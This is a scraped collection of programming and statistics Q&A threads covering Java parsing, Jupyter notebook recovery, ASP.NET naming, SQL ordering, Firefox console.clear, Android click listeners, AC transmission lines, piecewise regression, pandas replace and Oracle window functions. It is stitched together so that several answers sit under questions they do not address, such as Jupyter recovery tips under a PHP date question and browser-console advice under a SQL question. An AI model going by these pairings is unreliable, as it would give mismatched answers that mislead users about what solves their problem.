2016/05/17
[ "https://Stackoverflow.com/questions/37285281", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6322474/" ]
`public String readLine()` will read a line from your file, even empty lines. Thus, when you split your line, as in `String[] data = line.split(",");` you get an array of size 1. Why not try : ``` if (data.length >= 7) { System.out.println(data[0] + " - " + data[6]); int changeId = Integer.parseInt(data[0]); ...
Instead of replace method use replaceAll method. Then it will work.
42,607,394
I want to check a certain date that is stored in my DB, if this date is during this fiscal year it prints **valid** if it is not it prints **invalid** here is my php code: ``` $init_date= date("2016/07/01"); $end_date= date("2017/06/30"); $i_date = strtotime($init_date); $e_date = strtotime($end_date); $date_db= strt...
2017/03/05
[ "https://Stackoverflow.com/questions/42607394", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7592467/" ]
If you are lucky then the ipynb file is corrupted but still there. In that case you can try opening it in a text file and copying the contents to a new notebook. But check the size of the file. If it is zero bytes, then there is nothing there! This actually happened to me when my server ran out of memory and somehow t...
in your file directory that contains your ipynb file there is a folder called '.ipynb\_checkpoints'. this folder does not show in the jupyter application so find it through windows explorer. inside there's will be a file called urfilenamehere-checkpoint.ipynb copy paste it to your file directory and open through the ju...
42,607,394
I want to check a certain date that is stored in my DB, if this date is during this fiscal year it prints **valid** if it is not it prints **invalid** here is my php code: ``` $init_date= date("2016/07/01"); $end_date= date("2017/06/30"); $i_date = strtotime($init_date); $e_date = strtotime($end_date); $date_db= strt...
2017/03/05
[ "https://Stackoverflow.com/questions/42607394", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7592467/" ]
Try this ``` jupyter nbconvert filename.ipynb --clear-output ``` It worked for me since it has corrupted because of Plotly behavior with some big data.
in your file directory that contains your ipynb file there is a folder called '.ipynb\_checkpoints'. this folder does not show in the jupyter application so find it through windows explorer. inside there's will be a file called urfilenamehere-checkpoint.ipynb copy paste it to your file directory and open through the ju...
8,941,171
> > **Possible Duplicate:** > > [What are the naming guidelines for ASP.NET controls?](https://stackoverflow.com/questions/181597/what-are-the-naming-guidelines-for-asp-net-controls) > > > Is there a standard guidelines as to the naming convention/style that asp.net control elements should be named. I have see...
2012/01/20
[ "https://Stackoverflow.com/questions/8941171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/373674/" ]
You can use ISO standard Naming convention or CMM level convention. like Function name "Add" variable name "strQuery" Control Name "btnSubmit" Class Name "Common" Namespace "Sanjog.Web" public Property Name "UniqueId" private variable "\_uniqueId" Hope this is what you are looking for.
MSDN has it covered -> [MSDN Naming Guidelines](http://msdn.microsoft.com/en-us/library/xzf533w0%28v=vs.71%29.aspx) *(follows an abstract from the linked page, too long to bring everything over)* > > Use the following three conventions for capitalizing identifiers. > > > Pascal case - The first letter in the ident...
8,941,171
> > **Possible Duplicate:** > > [What are the naming guidelines for ASP.NET controls?](https://stackoverflow.com/questions/181597/what-are-the-naming-guidelines-for-asp-net-controls) > > > Is there a standard guidelines as to the naming convention/style that asp.net control elements should be named. I have see...
2012/01/20
[ "https://Stackoverflow.com/questions/8941171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/373674/" ]
You can use ISO standard Naming convention or CMM level convention. like Function name "Add" variable name "strQuery" Control Name "btnSubmit" Class Name "Common" Namespace "Sanjog.Web" public Property Name "UniqueId" private variable "\_uniqueId" Hope this is what you are looking for.
Prefixes like "txt" are more common with developers who came up through VB6, or learned from developers who came up through VB6. In a truly object-oriented environment such as .NET its not as necessary to prefix items to indicate their type. However, doing so it entirely a matter of personal preference, just be consist...
8,941,171
> > **Possible Duplicate:** > > [What are the naming guidelines for ASP.NET controls?](https://stackoverflow.com/questions/181597/what-are-the-naming-guidelines-for-asp-net-controls) > > > Is there a standard guidelines as to the naming convention/style that asp.net control elements should be named. I have see...
2012/01/20
[ "https://Stackoverflow.com/questions/8941171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/373674/" ]
You can use ISO standard Naming convention or CMM level convention. like Function name "Add" variable name "strQuery" Control Name "btnSubmit" Class Name "Common" Namespace "Sanjog.Web" public Property Name "UniqueId" private variable "\_uniqueId" Hope this is what you are looking for.
There is no official standard for naming of controls. Actually the naming convention is only for your convenience so that it can be reusable and some one who will be editing it or trying to understand it would not be a big deal for him Now coming to the point Generally Naming conventions are followed in company level ...
63,905,819
I have two tables `Major(majorId, label)` and `Minor(minorId, majorId)`. I want return Major ordered by the count of Minor (and label). Something like: ``` SELECT majorId, label FROM Major ma ORDER BY (SELECT COUNT(*) FROM Minor mi WHERE mi.majorId=ma.majorId), label; ``` The way I imagining it work...
2020/09/15
[ "https://Stackoverflow.com/questions/63905819", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14282450/" ]
You can solve this in two ways, First, you can write a firefox extension which executes a javascript on page load and assigns empty function to console.clear. So, it doesn't throw any error if its called. ```js console.clear = () => {} ``` References for building extension to run on page load [Chrome Extension: Mak...
It is right to hijack the `console.clear` on page load. --- Here just a tip/record. [For some sites, there would be no explicit word `console.clear` in the sources. (And sadly, currently Firefox's `Preserve Log` option might still not be as powerful as Chrome's)](https://stackoverflow.com/q/73589389/7860292) But th...
63,905,819
I have two tables `Major(majorId, label)` and `Minor(minorId, majorId)`. I want return Major ordered by the count of Minor (and label). Something like: ``` SELECT majorId, label FROM Major ma ORDER BY (SELECT COUNT(*) FROM Minor mi WHERE mi.majorId=ma.majorId), label; ``` The way I imagining it work...
2020/09/15
[ "https://Stackoverflow.com/questions/63905819", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14282450/" ]
Since you're asking about Firefox, if you don't want to write your own extension, you can use the one that already exists: [Disallow Console Clear Firefox Addon](https://addons.mozilla.org/en-US/firefox/addon/disallow-console-clear/)
It is right to hijack the `console.clear` on page load. --- Here just a tip/record. [For some sites, there would be no explicit word `console.clear` in the sources. (And sadly, currently Firefox's `Preserve Log` option might still not be as powerful as Chrome's)](https://stackoverflow.com/q/73589389/7860292) But th...
35,442,818
I am receiving the following error > > `Cannot Resolve Symbol setOnClickListener` > > > on the Java code below. I am also receiving an error on > > `public void onClick(View v) {` > > > between `k` & `(` there is a `;` expected and between `w` and `v` there is a `) & ;` expected. I'm not entirely sure how...
2016/02/16
[ "https://Stackoverflow.com/questions/35442818", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3113377/" ]
You need to put your code in a method body such as `onCreate()`. It's not syntactically valid to have it in the class body. Move the code that calls `setOnClickListener()` to `onCreate()` after `setContentView()`. You can have the variable declarations in the class level (but initialize them with `findViewById()` only...
Move the following code: ``` //Creating button references for the buttons corresponding to their IDs through findViewById Button rB = (Button) findViewById(R.id.rButton); Button lB = (Button) findViewById(R.id.lButton); //Register click event with first button rB.setOnClickListener(new View.OnClickList...
162,456
I am using NDSolve to solve a system of pde's over a 2D domain: 2 equations and 2 unknowns which I call 'u' and 'v'. NDSolve returns an InterpolatingFunction for both 'u' and for 'v' and these are both functions of two variables. I can plot and visualise these solutions easily and everything looks good. Now I am simply...
2017/12/22
[ "https://mathematica.stackexchange.com/questions/162456", "https://mathematica.stackexchange.com", "https://mathematica.stackexchange.com/users/54340/" ]
Instead of answering the main question, which arises because `NDSolve`, like other `*Solve` functions, returns a list of solutions rather than just the solution, I would rather address the more interesting objective stated in the OP: > > Now I am simply trying to evaluate these InterpolatingFunctions at points on a 2...
This *should* be the way to fix it: ``` ContourPlot[v[x, y] /. sol, {x, y} ∈ R, PlotRange -> {0, 1}, PlotLegends -> Automatic] ``` But there still remain similar error messages, e.g., for the point `{0.470079,1.49863}` which lies definitely in the region `R`. I think, this is really a bug in `NDSolve` (the solutio...
162,456
I am using NDSolve to solve a system of pde's over a 2D domain: 2 equations and 2 unknowns which I call 'u' and 'v'. NDSolve returns an InterpolatingFunction for both 'u' and for 'v' and these are both functions of two variables. I can plot and visualise these solutions easily and everything looks good. Now I am simply...
2017/12/22
[ "https://mathematica.stackexchange.com/questions/162456", "https://mathematica.stackexchange.com", "https://mathematica.stackexchange.com/users/54340/" ]
Instead of answering the main question, which arises because `NDSolve`, like other `*Solve` functions, returns a list of solutions rather than just the solution, I would rather address the more interesting objective stated in the OP: > > Now I am simply trying to evaluate these InterpolatingFunctions at points on a 2...
Here is what I get in MMA 11.1, Linux ``` {u1, v1} = {u, v} /. sol[[1]] vfun[x_, y_] = v1[x, y] vfun[0.470079, 1.49863] ``` > > 0.0941901 > > >
42,377,665
I'm finding myself in the following situation. I need to make 3 asynchronous calls: call2 fires only when call1 is done and call3 fires only when call2 is done (I also need to use the deferred object from jQuery). ``` function call1() { return $.ajax(...); } function call2() { return $.ajax(...); } function ca...
2017/02/21
[ "https://Stackoverflow.com/questions/42377665", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7601021/" ]
By using a type checker, you are opting into the rules that it enforces. Accessing a property on a nullable type is one of those restrictions. So if you want to have exceptions for null values, you need to explicitly throw to prove to Flow that it is what you want. You could for instance make a module like ``` if (!do...
When I know for sure that my variable won't be null and Flow doesn't, I use an unwrap() function: ```js export default function unwrap<T>(value: T): $NonMaybeType<T> { if (value !== null && value !== undefined) return value throw new Error('Unwrapping not possible because the variable is null or undefined!') } ...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
I have programmed this from scratch once a few years ago, and I have a Matlab file for doing piece-wise linear regression on my computer. About 1 to 4 breakpoints is computationally possible for about 20 measurements points or so. 5 or 7 break points starts to be really too much. The pure mathematical approach as I se...
You can use the [`mcp`](https://lindeloev.github.io/mcp/index.html) package if you know the number of change points to infer. It gives you great modeling flexibility and a lot of information about the change points and regression parameters, but at the cost of speed. The mcp website contains many applied examples, e.g...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
I have programmed this from scratch once a few years ago, and I have a Matlab file for doing piece-wise linear regression on my computer. About 1 to 4 breakpoints is computationally possible for about 20 measurements points or so. 5 or 7 break points starts to be really too much. The pure mathematical approach as I se...
There is a pretty nice algorithm described in [Tomé and Miranda (1984)](http://idl.ul.pt/sites/idl.ul.pt/files/docs/Tome%26Miranda2004GRL.pdf). > > The proposed methodology uses a least-squares approach to compute the best continuous set of straight lines that fit a given time series, subject to a number of constrai...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
In general, it's a bit odd to want to fit something as piece-wise linear. However, if you really wish to do so, then the MARS algorithm is the most direct. It will build up a function one knot at a time; and then usually prunes back the number of knots to combat over-fitting ala decision trees. You can access the MARS ...
I have programmed this from scratch once a few years ago, and I have a Matlab file for doing piece-wise linear regression on my computer. About 1 to 4 breakpoints is computationally possible for about 20 measurements points or so. 5 or 7 break points starts to be really too much. The pure mathematical approach as I se...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
There is a pretty nice algorithm described in [Tomé and Miranda (1984)](http://idl.ul.pt/sites/idl.ul.pt/files/docs/Tome%26Miranda2004GRL.pdf). > > The proposed methodology uses a least-squares approach to compute the best continuous set of straight lines that fit a given time series, subject to a number of constrai...
In order to fit to data a piecewise function : [![enter image description here](https://i.stack.imgur.com/iwv3f.gif)](https://i.stack.imgur.com/iwv3f.gif) where $a\_1 , a\_2 , p\_1 , q\_1, p\_2 , q\_2 , p\_3 , q\_3$ are unknown parameters to be approximately computed, there is a very simple method (not iterative, no ...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
In general, it's a bit odd to want to fit something as piece-wise linear. However, if you really wish to do so, then the MARS algorithm is the most direct. It will build up a function one knot at a time; and then usually prunes back the number of knots to combat over-fitting ala decision trees. You can access the MARS ...
There is a pretty nice algorithm described in [Tomé and Miranda (1984)](http://idl.ul.pt/sites/idl.ul.pt/files/docs/Tome%26Miranda2004GRL.pdf). > > The proposed methodology uses a least-squares approach to compute the best continuous set of straight lines that fit a given time series, subject to a number of constrai...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
There is a pretty nice algorithm described in [Tomé and Miranda (1984)](http://idl.ul.pt/sites/idl.ul.pt/files/docs/Tome%26Miranda2004GRL.pdf). > > The proposed methodology uses a least-squares approach to compute the best continuous set of straight lines that fit a given time series, subject to a number of constrai...
I once came across a program called [Joinpoint](http://surveillance.cancer.gov/joinpoint/). On their website they say it fits a joinpoint model where "several different lines are connected together at the 'joinpoints'". And further: "The user supplies the minimum and maximum number of joinpoints. The program starts wit...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
Would [MARS](http://en.wikipedia.org/wiki/Multivariate_adaptive_regression_splines) be applicable? R has the package `earth` that implements it.
I have programmed this from scratch once a few years ago, and I have a Matlab file for doing piece-wise linear regression on my computer. About 1 to 4 breakpoints is computationally possible for about 20 measurements points or so. 5 or 7 break points starts to be really too much. The pure mathematical approach as I se...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
There is a pretty nice algorithm described in [Tomé and Miranda (1984)](http://idl.ul.pt/sites/idl.ul.pt/files/docs/Tome%26Miranda2004GRL.pdf). > > The proposed methodology uses a least-squares approach to compute the best continuous set of straight lines that fit a given time series, subject to a number of constrai...
You can use the [`mcp`](https://lindeloev.github.io/mcp/index.html) package if you know the number of change points to infer. It gives you great modeling flexibility and a lot of information about the change points and regression parameters, but at the cost of speed. The mcp website contains many applied examples, e.g...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
There is a pretty nice algorithm described in [Tomé and Miranda (1984)](http://idl.ul.pt/sites/idl.ul.pt/files/docs/Tome%26Miranda2004GRL.pdf). > > The proposed methodology uses a least-squares approach to compute the best continuous set of straight lines that fit a given time series, subject to a number of constrai...
... first of all you must to do it by iterations, and under some informative criterion, like AIC AICc BIC Cp; because you can get an "ideal" fit, if number of knots K = number od data points N, ok. ... first put K = 0; estimate L = K + 1 regressions, calculate AICc, for instance; then assume minimal number of data po...
18,468
Are there any packages to do piecewise linear regression, which can detect the multiple knots automatically? Thanks. When I use the strucchange package. I could not detect the change points. I have no idea how it detects the change points. From the plots, I could see there are several points I want it could help me to ...
2011/11/16
[ "https://stats.stackexchange.com/questions/18468", "https://stats.stackexchange.com", "https://stats.stackexchange.com/users/4810/" ]
I have programmed this from scratch once a few years ago, and I have a Matlab file for doing piece-wise linear regression on my computer. About 1 to 4 breakpoints is computationally possible for about 20 measurements points or so. 5 or 7 break points starts to be really too much. The pure mathematical approach as I se...
In order to fit to data a piecewise function : [![enter image description here](https://i.stack.imgur.com/iwv3f.gif)](https://i.stack.imgur.com/iwv3f.gif) where $a\_1 , a\_2 , p\_1 , q\_1, p\_2 , q\_2 , p\_3 , q\_3$ are unknown parameters to be approximately computed, there is a very simple method (not iterative, no ...
58,622,686
I want to filter my `List` and if an `item` *already exists*, I don't want to add that `item` to that `List`. That's why I try to filter by the `item` property. ``` if(!(PolyLineList.Contains(PolyLineList.Find(x => x.item == item)))) { cPolyline currentPolyLine = new cPolyline(pointlist,item); PolyLineList.Ad...
2019/10/30
[ "https://Stackoverflow.com/questions/58622686", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11996121/" ]
It is possible, by `inplace=True`: ``` for ser in ser_list: ser.replace({65: 10, 62: 20}, inplace=True) print (ser_list) [0 10 1 1 2 0 3 0 4 1 dtype: int64, 0 0 1 20 2 1 3 1 4 0 dtype: int64] ``` But not recommended like mentioned @Dan in comments - [link](https://www.datas...
We can also use `Series.map` with `fillna` and `list comprehension`: ``` new = [ser.map({65: 10, 62: 20}).fillna(ser) for ser in ser_list] print(new) [0 10.0 1 1.0 2 0.0 3 0.0 4 1.0 dtype: float64, 0 0.0 1 20.0 2 1.0 3 1.0 4 0.0 dtype: float64] ```
290,685
current on transmission lines is AC and I understand AC current changes direction. But I am having trouble visualizing this. I read all kinds water analogies but it is still not clear to me. At which point does current change direction on a transmission line? Say electrons start flowing from source, when do those elect...
2016/11/03
[ "https://physics.stackexchange.com/questions/290685", "https://physics.stackexchange.com", "https://physics.stackexchange.com/users/135106/" ]
The ac voltage and current on transmission lines are described by wave equations which have the exponential solutions $$V=V\_0exp{[i(\omega t±kz)]}$$ and $$I=I\_0exp{[i(\omega t±kz)]}$$ where $\omega$ is the angular frequency and $k$ is the wave vector of the waves. The (complex) voltage and current amplitudes are conn...
> > Say electrons start flowing from source, when do those electrons > change direction? Do they change direction before reaching > destination? > > > On can loosely think of the mobile electrons sloshing back and forth and, on average, do not change position (otherwise, there would be a DC component to the curr...
11,314,013
I've been working on integrating Stripe into my web application, and it doesn't seem to be working. To help me along, I've been using Ryan Bates's Rails Cast on integrating Stripe. Whenever I try to run the payment form, I get an error saying that "There was a problem with my credit card". I think the problem lies in m...
2012/07/03
[ "https://Stackoverflow.com/questions/11314013", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1483441/" ]
Sounds like you want a moving window aggregate function. This is part of the Analytical functions feature of Oracle. It's not my strong suit, and since you didn't include sample tables/data to build a test case, I'll just point you to the Oracle documentation, here: <http://docs.oracle.com/cd/B14117_01/server.101/b107...
Thanks to [Mark Bobak's answer](https://stackoverflow.com/a/11314537/134310) getting me on the right track, I ended up with this solution. ``` with values_before as ( select V.ParameterId, V.NumericValue, row_number() over (Partition by V.ParameterId order by V.Time desc) as RowNumber ...